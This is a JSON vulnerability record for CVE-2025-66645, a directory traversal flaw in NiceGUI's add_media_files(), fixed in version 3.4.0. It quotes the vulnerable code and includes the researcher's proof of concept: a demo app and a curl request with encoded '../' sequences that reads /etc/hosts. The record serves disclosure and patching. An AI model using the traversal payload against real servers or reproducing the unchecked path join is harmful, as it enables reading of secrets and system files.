{"id":"CVE-2025-66645","aliases":["CVE-2025-66645","GHSA-hxp3-63hc-5366","PYSEC-2026-1700"],"related":[],"kind":"vulnerability","state":"published","title":"NiceGUI Path Traversal Vulnerability in app.add_media_files() Allows Arbitrary File Reading","summary":"NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are vulnerable to  directory traversal through the App.add_media_files() function, which allows a remote attacker to read arbitrary files on the server filesystem. This issue is fixed in version 3.4.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are vulnerable to  directory traversal through the App.add_media_files() function, which allows a remote attacker to read arbitrary files on the server filesystem. This issue is fixed in version 3.4.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA directory traversal vulnerability in NiceGUI's `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.\n\n### Details\n\nHello, I am Seungbin Yang, a university student studying cybersecurity. \nWhile reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.\n\nThe `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.\n\n```python\ndef add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:\n    @self.get(url_path.rstrip('/') + '/{filename:path}')\n    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:\n        filepath = Path(local_directory) / filename\n        if not filepath.is_file():\n            raise HTTPException(status_code=404, detail='Not Found')\n        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)\n```\nRoot Cause:\n1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.\n2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.\n3. There is no path sanitization or boundary check.\n\nConsequence:\nAn attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.\n\n### POC\n1. Create `poc.py`:\n```python\n# poc.py\nfrom pathlib import Path\nfrom nicegui import app, ui\n\nMEDIA_DIR = Path(__file__).parent / 'media'\nMEDIA_DIR.mkdir(exist_ok=True)\n\n# Expose local \"media\" directory at /media\napp.add_media_files('/media', MEDIA_DIR)\n\n@ui.page('/')\ndef index():\n    ui.label('NiceGUI media PoC')\n\nui.run(port=8080, reload=False)\n```\n\n2. Run the application: `python3 poc.py`\n\n3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.\n```curl -v \"http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts\"```\n\n\n### Result:\nThe HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.\n\nI have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.\n\n<img width=\"1728\" height=\"1078\" alt=\"POC screenshot\" src=\"https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775\" />\n\n### Impact\n\nAny NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:\n\n•Application source code and configuration files\n•Credentials, API keys, and secrets\n•Operating system configuration files (e.g., /etc/passwd, /etc/hosts)\n\nThis is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.\n\nThank you.","format":"markdown","source":"ghsa"},{"lang":"es","text":"NiceGUI es un framework de interfaz de usuario (UI) basado en Python. Las versiones 3.3.1 e inferiores son vulnerables a salto de directorio a través de la función App.add_media_files(), lo que permite a un atacante remoto leer archivos arbitrarios en el sistema de archivos del servidor. Este problema está solucionado en la versión 3.4.0.","source":"nvd"}],"published":"2025-12-09T14:25:15.000Z","modified":"2026-10-14T21:10:00.183Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 3.4.0","status":"affected"}],"vendor":"zauberzeug","product":"nicegui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.4.0"}],"ecosystem":"PyPI","package":"nicegui","purl":"pkg:pypi/nicegui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.4.0"}],"vendor":"zauberzeug","product":"nicegui","cpe":"cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.4.0"}],"ecosystem":"PyPI","package":"nicegui","purl":"pkg:pypi/nicegui","source":"pysec"}],"references":[{"url":"https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66645","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/zauberzeug/nicegui","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/nicegui","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-hxp3-63hc-5366","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-12-10T16:14:20.157Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-66645","url":"https://www.cve.org/CVERecord?id=CVE-2025-66645","licence":"CVE Terms of Use","modified":"2025-12-10T16:50:41.291Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hxp3-63hc-5366","url":"https://github.com/advisories/GHSA-hxp3-63hc-5366","licence":"CC-BY-4.0","modified":"2026-07-07T17:57:24.907Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-66645","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66645","licence":"Public domain","modified":"2026-10-14T21:10:00.183Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1700","url":"https://osv.dev/vulnerability/PYSEC-2026-1700","licence":"CC-BY-4.0","modified":"2026-07-07T17:46:58.258Z"}],"updatedAt":"2026-11-25T22:59:09.120Z","epss":{"score":0.01201,"percentile":0.69057,"date":"2026-12-01T12:00:22.000Z"}}